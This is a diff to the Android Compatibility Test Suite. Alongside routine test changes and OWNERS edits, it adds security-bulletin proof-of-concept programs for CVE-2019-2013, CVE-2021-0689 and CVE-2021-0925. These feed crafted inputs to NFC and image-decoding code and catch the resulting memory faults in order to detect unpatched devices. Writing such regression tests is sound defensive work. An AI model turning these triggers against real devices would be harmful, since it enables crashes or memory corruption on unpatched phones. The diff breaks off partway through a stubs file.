+ public static String retrievePackageName(String componentName) {
+ return componentName.substring(0, componentName.indexOf('/'));
+ }
}
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
index 5ed387e2e42..afaa9c8096a 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
@@ -189,6 +189,17 @@ public final class ShellCommandUtils {
}
/**
+ * Command to enable app-compat change for a package .
+ *
+ * @param compatChange name of the app-compat change.
+ * @param packageName name of the package to enable the change for.
+ * @return the command to be passed to shell command.
+ */
+ public static String enableCompatChange(String compatChange, String packageName) {
+ return "am compat enable " + compatChange + " " + packageName;
+ }
+
+ /**
* Command to send broadcast {@code Intent}.
*
* @param action action of intent.
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
index 846c31f01cc..4064ff5f158 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
@@ -26,6 +26,7 @@ import static android.inputmethodservice.cts.common.DeviceEventConstants.RECEIVE
import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeTrue;
+import android.inputmethodservice.cts.common.ComponentNameUtils;
import android.inputmethodservice.cts.common.EditTextAppConstants;
import android.inputmethodservice.cts.common.EventProviderConstants.EventTableConstants;
import android.inputmethodservice.cts.common.Ime1Constants;
@@ -36,6 +37,7 @@ import android.inputmethodservice.cts.common.test.TestInfo;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AppModeInstant;
+import com.android.compatibility.common.util.FeatureUtil;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -56,6 +58,8 @@ public class InputMethodServiceLifecycleTest extends BaseHostJUnit4Test {
private static final long WAIT_TIMEOUT = TimeUnit.SECONDS.toMillis(1);
private static final long PACKAGE_OP_TIMEOUT = TimeUnit.SECONDS.toMillis(7);
private static final long POLLING_INTERVAL = 100;
+ private static final String COMPAT_CHANGE_DO_NOT_DOWNSCALE_TO_1080P_ON_TV =
+ "DO_NOT_DOWNSCALE_TO_1080P_ON_TV";
/**
* {@code true} if {@link #tearDown()} needs to be fully executed.
@@ -126,6 +130,25 @@ public class InputMethodServiceLifecycleTest extends BaseHostJUnit4Test {
private void installImePackageSync(String apkFileName, String imeId) throws Exception {
installPackage(apkFileName, "-r");
waitUntilImesAreAvailable(imeId);
+
+ // Compatibility scaling may affect how watermarks are rendered in such a way so that we
+ // won't be able to detect them on screenshots.
+ disableAppCompatScalingForPackageIfNeeded(ComponentNameUtils.retrievePackageName(imeId));
+ }
+
+ private void disableAppCompatScalingForPackageIfNeeded(String packageName) throws Exception {
+ if (FeatureUtil.isTV(getDevice())) {
+ // On 4K TV devices packages that target API levels below S run in a compat mode where
+ // they render UI to a 1080p surface which then gets scaled up x2 (to the device's
+ // "native" 4K resolution).
+ // When a test IME package runs in such compatibility mode, the watermarks it renders
+ // would be scaled up x2 as well, thus we won't be able detect them on (4K) screenshots
+ // we take during tests.
+ // Note, that this command will have no effect if the device is not a 4K TV, or if the
+ // package's "targetSdk" level is S or above.
+ shell(ShellCommandUtils.enableCompatChange(
+ COMPAT_CHANGE_DO_NOT_DOWNSCALE_TO_1080P_ON_TV, packageName));
+ }
}
private void installPossibleInstantPackage(
diff --git a/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java b/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java
index 90fa2652086..164c37fc0e8 100644
--- a/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java
+++ b/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java
@@ -20,12 +20,12 @@ import static org.junit.Assert.assertTrue;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertThat;
+import com.android.compatibility.common.util.CddTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import com.android.tradefed.targetprep.TargetSetupError;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
-
import com.android.tradefed.device.IFileEntry;
import com.android.tradefed.util.CommandResult;
import com.android.tradefed.util.RunUtil;
@@ -194,6 +194,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test {
* Tests if the native shared library list reported by the package manager is the same as
* the public.libraries*.txt files in the partitions.
*/
+ @CddTest(requirement="3.6/C-1-1,C-1-2")
@Test
public void testPublicLibrariesAreAllRegistered() throws DeviceNotAvailableException {
Set<String> libraryNamesFromTxt =
@@ -359,6 +360,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test {
// Tests for when apps depend on non-existing lib
///////////////////////////////////////////////////////////////////////////
+ @CddTest(requirement="3.6/C-1-1,C-1-2")
@Test
public void testOldAppDependsOnNonExistingLib() throws Exception {
String[] requiredLibs = {mNonExistingLib};
@@ -371,6 +373,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test {
runInstalledTestApp();
}
+ @CddTest(requirement="3.6/C-1-1,C-1-2")
@Test
public void testNewAppDependsOnNonExistingLib() throws Exception {
String[] requiredLibs = {mNonExistingLib};
@@ -384,6 +387,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test {
// install failed, so can't run the on-device test
}
+ @CddTest(requirement="3.6/C-1-1,C-1-2")
@Test
public void testNewAppDependsOnNonExistingLib_withCompatEnabled_installFail()
throws Exception {
@@ -398,6 +402,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test {
requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
}
+ @CddTest(requirement="3.6/C-1-1,C-1-2")
@Test
public void testNewAppDependsOnNonExistingLib_withCompatDisabled_installSucceed()
throws Exception {
@@ -412,6 +417,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test {
requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
}
+ @CddTest(requirement="3.6/C-1-1,C-1-2")
@Test
public void testOldAppOptionallyDependsOnNonExistingLib() throws Exception {
String[] requiredLibs = {};
@@ -424,6 +430,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test {
runInstalledTestApp();
}
+ @CddTest(requirement="3.6/C-1-1,C-1-2")
@Test
public void testNewAppOptionallyDependsOnNonExistingLib() throws Exception {
String[] requiredLibs = {};
@@ -440,6 +447,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test {
// Tests for when apps depend on private lib
///////////////////////////////////////////////////////////////////////////
+ @CddTest(requirement="3.6/C-1-1,C-1-2")
@Test
public void testOldAppDependsOnPrivateLib() throws Exception {
String[] requiredLibs = {mPrivateLib};
@@ -452,6 +460,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test {
runInstalledTestApp();
}
+ @CddTest(requirement="3.6/C-1-1,C-1-2")
@Test
public void testNewAppDependsOnPrivateLib() throws Exception {
String[] requiredLibs = {mPrivateLib};
@@ -465,6 +474,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test {
// install failed, so can't run the on-device test
}
+ @CddTest(requirement="3.6/C-1-1,C-1-2")
@Test
public void testOldAppOptionallyDependsOnPrivateLib() throws Exception {
String[] requiredLibs = {};
@@ -477,6 +487,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test {
runInstalledTestApp();
}
+ @CddTest(requirement="3.6/C-1-1,C-1-2")
@Test
public void testNewAppOptionallyDependsOnPrivateLib() throws Exception {
String[] requiredLibs = {};
@@ -493,6 +504,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test {
// Tests for when apps depend on all public libraries
///////////////////////////////////////////////////////////////////////////
+ @CddTest(requirement="3.6/C-1-1,C-1-2")
@Test
public void testOldAppDependsOnAllPublicLibraries() throws Exception {
String[] requiredLibs = add(mPublicLibraries);
@@ -505,6 +517,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test {
runInstalledTestApp();
}
+ @CddTest(requirement="3.6/C-1-1,C-1-2")
@Test
public void testNewAppDependsOnAllPublicLibraries() throws Exception {
String[] requiredLibs = add(mPublicLibraries);
@@ -521,6 +534,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test {
// Tests for when apps depend on some public libraries
///////////////////////////////////////////////////////////////////////////
+ @CddTest(requirement="3.6/C-1-1,C-1-2")
@Test
public void testOldAppDependsOnSomePublicLibraries() throws Exception {
// select the first half of the public lib
@@ -534,6 +548,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test {
runInstalledTestApp();
}
+ @CddTest(requirement="3.6/C-1-1,C-1-2")
@Test
public void testNewAppDependsOnSomePublicLibraries() throws Exception {
String[] requiredLibs = add(mSomePublicLibraries);
@@ -549,6 +564,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test {
runInstalledTestApp();
}
+ @CddTest(requirement="3.6/C-1-1,C-1-2")
@Test
public void testNewAppOptionallyDependsOnSomePublicLibraries() throws Exception {
// select the first half of the public lib
diff --git a/hostsidetests/library/src_target/com/android/test/usesnativesharedlibrary/LoadTest.java b/hostsidetests/library/src_target/com/android/test/usesnativesharedlibrary/LoadTest.java
index c4af7784d2d..17cbfd3e376 100644
--- a/hostsidetests/library/src_target/com/android/test/usesnativesharedlibrary/LoadTest.java
+++ b/hostsidetests/library/src_target/com/android/test/usesnativesharedlibrary/LoadTest.java
@@ -21,6 +21,7 @@ import static org.junit.Assert.assertThat;
import static org.hamcrest.core.Is.is;
import android.os.Build;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.PropertyUtil;
import androidx.test.core.app.ApplicationProvider;
@@ -84,6 +85,7 @@ public class LoadTest {
/**
* Tests if libs listed in available.txt are all loadable
*/
+ @CddTest(requirement="3.6/C-1-1,C-1-2")
@Test
public void testAvailableLibrariesAreLoaded() {
List<String> unexpected = new ArrayList<>();
@@ -111,6 +113,7 @@ public class LoadTest {
/**
* Tests if libs listed in unavailable.txt are all non-loadable
*/
+ @CddTest(requirement="3.6/C-1-1,C-1-2")
@Test
public void testUnavailableLibrariesAreNotLoaded() {
List<String> loadedLibs = new ArrayList<>();
diff --git a/hostsidetests/media/OWNERS b/hostsidetests/media/OWNERS
index 8a0e441590b..e72446f5035 100644
--- a/hostsidetests/media/OWNERS
+++ b/hostsidetests/media/OWNERS
@@ -1,13 +1,11 @@
# Bug component: 1344
elaurent@google.com
lajos@google.com
-marcone@google.com
sungsoo@google.com
jaewan@google.com
-# LON
-olly@google.com
-andrewlewis@google.com
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
# Media TV
nchalko@google.com
diff --git a/hostsidetests/mediaparser/OWNERS b/hostsidetests/mediaparser/OWNERS
index 51256bfc6a7..b91d177f4ac 100644
--- a/hostsidetests/mediaparser/OWNERS
+++ b/hostsidetests/mediaparser/OWNERS
@@ -1,5 +1,3 @@
# Bug component: 817235
-aquilescanta@google.com
-andrewlewis@google.com
-essick@google.com
-marcone@google.com
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
index de235969262..99f7e5b0581 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
+++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
@@ -43,6 +43,9 @@ import androidx.test.uiautomator.BySelector;
import androidx.test.uiautomator.Direction;
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.UiObjectNotFoundException;
+import androidx.test.uiautomator.UiScrollable;
+import androidx.test.uiautomator.UiSelector;
import androidx.test.uiautomator.Until;
import org.junit.After;
@@ -60,7 +63,10 @@ public class PreferredActivitiesTest extends BaseDynamicMimeTest {
private static final String NAV_BAR_INTERACTION_MODE_RES_NAME = "config_navBarInteractionMode";
private static final int NAV_BAR_INTERACTION_MODE_GESTURAL = 2;
- private static final BySelector BUTTON_ALWAYS = By.res("android:id/button_always");
+ private static final String BUTTON_ALWAYS_RES_ID = "android:id/button_always";
+ private static final BySelector BUTTON_ALWAYS = By.res(BUTTON_ALWAYS_RES_ID);
+ private static final UiSelector BUTTON_ALWAYS_UI_SELECTOR =
+ new UiSelector().resourceId(BUTTON_ALWAYS_RES_ID);
private static final BySelector RESOLVER_DIALOG = By.res(Pattern.compile(".*:id/contentPanel.*"));
private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(60L);
@@ -276,6 +282,9 @@ public class PreferredActivitiesTest extends BaseDynamicMimeTest {
}
private void verifyDialogIsShown(boolean shouldBeShown) {
+ if (Utils.hasFeature(FEATURE_WEARABLE)) {
+ scrollToSelectorOnWatch(BUTTON_ALWAYS_UI_SELECTOR);
+ }
UiObject2 buttonAlways = getUiDevice().wait(Until.findObject(BUTTON_ALWAYS), TIMEOUT);
if (shouldBeShown) {
@@ -298,20 +307,48 @@ public class PreferredActivitiesTest extends BaseDynamicMimeTest {
.wait(Until.findObject(RESOLVER_DIALOG), TIMEOUT)
.swipe(Direction.UP, 1f);
} else {
- getUiDevice()
- .wait(Until.findObject(BUTTON_ALWAYS), TIMEOUT)
- .swipe(Direction.RIGHT, 1f);
+ scrollToSelectorOnWatch(new UiSelector().text(label));
}
-
return getUiDevice().findObject(By.text(label));
}
private void chooseUseAlways() {
+ if (Utils.hasFeature(FEATURE_WEARABLE)) {
+ scrollToSelectorOnWatch(BUTTON_ALWAYS_UI_SELECTOR);
+ }
getUiDevice()
.wait(Until.findObject(BUTTON_ALWAYS), TIMEOUT)
.click();
}
+ private void scrollToSelectorOnWatch(UiSelector selector) {
+ try {
+ int resId = Resources.getSystem().getIdentifier(
+ "config_customResolverActivity", "string", "android");
+ String customResolverActivity = context().getString(resId);
+ String customResolverPackageName;
+ if (customResolverActivity.isEmpty()) {
+ // If custom resolver is not in use, it'll be using the Android default
+ customResolverPackageName = "android";
+ } else {
+ customResolverPackageName = customResolverActivity.split("/")[0];
+ }
+
+ UiSelector scrollableSelector =
+ new UiSelector()
+ .scrollable(true)
+ .packageName(customResolverPackageName);
+ UiScrollable scrollable = new UiScrollable(scrollableSelector);
+ scrollable.waitForExists(TIMEOUT);
+ if (scrollable.exists()) {
+ scrollable.scrollToBeginning(Integer.MAX_VALUE);
+ scrollable.scrollIntoView(selector);
+ }
+ } catch (UiObjectNotFoundException ignore) {
+ throw new AssertionError("Scrollable view was lost.");
+ }
+ }
+
private interface TestStrategy {
void prepareMimeGroups();
diff --git a/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java b/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
index 20afc7daab3..d9da47a76b6 100644
--- a/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
+++ b/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
@@ -56,6 +56,13 @@ public class MetadataEncryptionTest extends BaseHostJUnit4Test {
if (PropertyUtil.getFirstApiLevel(mDevice) <= 29) {
return; // Requirement does not apply to devices running Q or earlier
}
+ if (PropertyUtil.propertyEquals(mDevice, "ro.crypto.type", "managed")) {
+ // Android is running in a virtualized environment and the file
+ // system is encrypted by the host system.
+ // Note: All encryption-related CDD requirements still must be met,
+ // but they can't be tested directly in this case.
+ return;
+ }
assertTrue("Metadata encryption must be enabled",
mDevice.getBooleanProperty("ro.crypto.metadata.enabled", false));
}
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0689.png b/hostsidetests/securitybulletin/res/cve_2021_0689.png
new file mode 100644
index 00000000000..7c91e48ebdf
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0689.png
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0921.txt b/hostsidetests/securitybulletin/res/cve_2021_0921.txt
new file mode 100644
index 00000000000..6a151af7ec5
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0921.txt
@@ -0,0 +1 @@
+This is cve_2021_0921.txt
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0925 b/hostsidetests/securitybulletin/res/cve_2021_0925
new file mode 100644
index 00000000000..be9690ca0d0
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0925
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/poc.cpp
index 23098acdf43..9f41b935b71 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/poc.cpp
@@ -17,6 +17,7 @@
#include <nfc_int.h>
#include <rw_int.h>
#include <dlfcn.h>
+#include <unistd.h>
#include "../includes/common.h"
#include "../includes/memutils.h"
@@ -24,6 +25,24 @@
#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
char enable_selective_overload = ENABLE_NONE;
+char *vulnPtr = nullptr;
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void* context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ size_t pageSize = getpagesize();
+ if (pageSize) {
+ char *vulnPtrGuardPage = (char *) ((size_t) vulnPtr & PAGE_MASK) + pageSize;
+ char *faultPage = (char *) ((size_t) info->si_addr & PAGE_MASK);
+ if (faultPage == vulnPtrGuardPage) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ }
+ }
+ _exit(EXIT_FAILURE);
+}
extern tRW_CB rw_cb;
extern tNFC_CB nfc_cb;
@@ -57,7 +76,7 @@ void GKI_freebuf(void* ptr) {
}
void *allocate_memory(size_t size) {
- void *ptr = malloc(size);
+ void *ptr = memalign(16, size);
memset(ptr, 0x0, size);
kAllocatedPointers[++allocatedPointersIndex] = ptr;
return ptr;
@@ -109,13 +128,15 @@ enum {
block-write to complete */
};
-void cback(uint8_t c __attribute__((unused)),
- tRW_DATA* d __attribute__((unused))) {
+void cback(tRW_EVENT event __attribute__((unused)),
+ tRW_DATA* p_data __attribute__((unused))) {
}
int main() {
-
- enable_selective_overload = ENABLE_ALL;
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
tRW_T3T_CB* p_t3t = &rw_cb.tcb.t3t;
GKI_init();
@@ -123,6 +144,7 @@ int main() {
uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
uint8_t mrti_check = 1, mrti_update = 1;
+ enable_selective_overload = ENABLE_MEMALIGN_CHECK;
if (rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) != NFC_STATUS_OK) {
return EXIT_FAILURE;
}
@@ -132,10 +154,12 @@ int main() {
return EXIT_FAILURE;
}
p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
if (!(p_data->data.p_data)) {
free(p_data);
return EXIT_FAILURE;
}
+ vulnPtr = (char *)p_data->data.p_data;
p_data->status = NFC_STATUS_OK;
p_t3t->cur_cmd = RW_T3T_CMD_SET_READ_ONLY_HARD;
@@ -158,11 +182,12 @@ int main() {
nfc_cb.quick_timer_queue.p_first = &pFirst;
rw_cb.p_cback = &cback;
+ testInProgress = true;
p_cb->p_cback(0, event, p_data);
+ testInProgress = false;
free(p_data->data.p_data);
free(p_data);
- enable_selective_overload = ENABLE_NONE;
return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/Android.bp
new file mode 100644
index 00000000000..8a3e8d0f2ac
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/Android.bp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2021-0689",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ shared_libs: [
+ "libbinder",
+ "libjnigraphics",
+ "libutils",
+ "libui",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/poc.cpp
new file mode 100644
index 00000000000..887368e2f52
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/poc.cpp
@@ -0,0 +1,70 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// This PoC is written taking reference from frameworks/base/native/graphics/jni/imagedecoder.cpp
+
+#include <android/imagedecoder.h>
+#include <binder/IPCThreadState.h>
+#include <vector>
+#include "../includes/common.h"
+
+constexpr int32_t kMaxDimension = 5000;
+
+struct DecoderDeleter {
+ void operator()(AImageDecoder *decoder) const { AImageDecoder_delete(decoder); }
+};
+
+using DecoderPointer = std::unique_ptr<AImageDecoder, DecoderDeleter>;
+
+DecoderPointer makeDecoder(const uint8_t *data, size_t size) {
+ AImageDecoder *decoder = nullptr;
+ int result = AImageDecoder_createFromBuffer(data, size, &decoder);
+ if (result != ANDROID_IMAGE_DECODER_SUCCESS) {
+ return nullptr;
+ }
+ return DecoderPointer(decoder);
+}
+
+int main(int argc, char **argv) {
+ FAIL_CHECK(argc >= 2);
+ android::ProcessState::self()->startThreadPool();
+ char *filename = argv[1];
+ FILE *file = fopen(filename, "r");
+ FAIL_CHECK(file);
+ fseek(file, 0, SEEK_END);
+ size_t size = ftell(file);
+ fseek(file, 0, SEEK_SET);
+ std::vector<uint8_t> buffer(size);
+ fread((void *)buffer.data(), 1, size, file);
+ fclose(file);
+ DecoderPointer decoder = makeDecoder(buffer.data(), size);
+ FAIL_CHECK(decoder);
+ const AImageDecoderHeaderInfo *info = AImageDecoder_getHeaderInfo(decoder.get());
+ int32_t width = AImageDecoderHeaderInfo_getWidth(info);
+ int32_t height = AImageDecoderHeaderInfo_getHeight(info);
+ FAIL_CHECK(width <= kMaxDimension && height <= kMaxDimension);
+ size_t stride = AImageDecoder_getMinimumStride(decoder.get());
+ size_t pixelSize = height * stride;
+ std::vector<uint8_t> pixels(pixelSize);
+ time_t test_started = start_timer();
+ while (timer_active(test_started)) {
+ int32_t result = AImageDecoder_decodeImage(decoder.get(), pixels.data(), stride, pixelSize);
+ if (result != ANDROID_IMAGE_DECODER_SUCCESS) {
+ break;
+ }
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/Android.bp
new file mode 100644
index 00000000000..eea87e76748
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/Android.bp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2021-0925",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ "stubs.cpp",
+ "t4t.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/fuzzers/rw/",
+ "system/nfc/src/include",
+ "system/nfc/src/gki/ulinux",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/fuzzers/inc",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ "libchrome",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/poc.cpp
new file mode 100644
index 00000000000..085f6e83d4a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/poc.cpp
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* Following files are taken as reference to come up with this PoC */
+/* 1. 'system/nfc/src/fuzzers/fuzz_utils.cc' */
+/* 2. 'system/nfc/src/fuzzers/rw/main.cc' */
+
+#include <vector>
+#include "../includes/common.h"
+#include "fuzz.h"
+#include "fuzz_cmn.h"
+extern void Type4_Fuzz(uint8_t SubType, const std::vector<bytes_t> &Packets);
+
+FILE *file = nullptr;
+char *vulnPtr = nullptr;
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ size_t pageSize = getpagesize();
+ if (pageSize) {
+ char *vulnPtrGuardPage = (char *)((size_t)vulnPtr & PAGE_MASK) + pageSize;
+ char *faultPage = (char *)((size_t)info->si_addr & PAGE_MASK);
+ if (faultPage == vulnPtrGuardPage) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ }
+ }
+ _exit(EXIT_FAILURE);
+}
+
+void exit_Handler(void) {
+ if (file) {
+ fclose(file);
+ }
+}
+
+static std::vector<bytes_t> UnpackPackets(const uint8_t *Data, size_t Size) {
+ std::vector<bytes_t> result;
+ while (Size > 0) {
+ auto s = *Data++;
+ Size--;
+
+ if (s > Size) {
+ s = Size;
+ }
+
+ if (s > 0) {
+ result.push_back(bytes_t(Data, Data + s));
+ }
+
+ Size -= s;
+ Data += s;
+ }
+
+ return result;
+}
+
+int main(int argc, char **argv) {
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+ FAIL_CHECK(argc > 1);
+
+ file = fopen(argv[1], "r");
+ FAIL_CHECK(file);
+
+ fseek(file, 0, SEEK_END);
+ size_t size = ftell(file);
+ fseek(file, 0, SEEK_SET);
+
+ std::vector<uint8_t> bufVector(size);
+ FAIL_CHECK(bufVector.data());
+ FAIL_CHECK(fread(bufVector.data(), 1, size, file) == size);
+
+ const uint8_t *data = (const uint8_t *)bufVector.data();
+ auto Packets = UnpackPackets(data, size);
+ FAIL_CHECK(Packets.size() > 1);
+
+ auto &ctrl = Packets[0];
+ FAIL_CHECK(ctrl.size() > 1);
+
+ Type4_Fuzz(ctrl[1], Packets);
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/stubs.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/stubs.cpp
new file mode 100644
index 00000000000..d8072329371
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/stubs.cpp
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
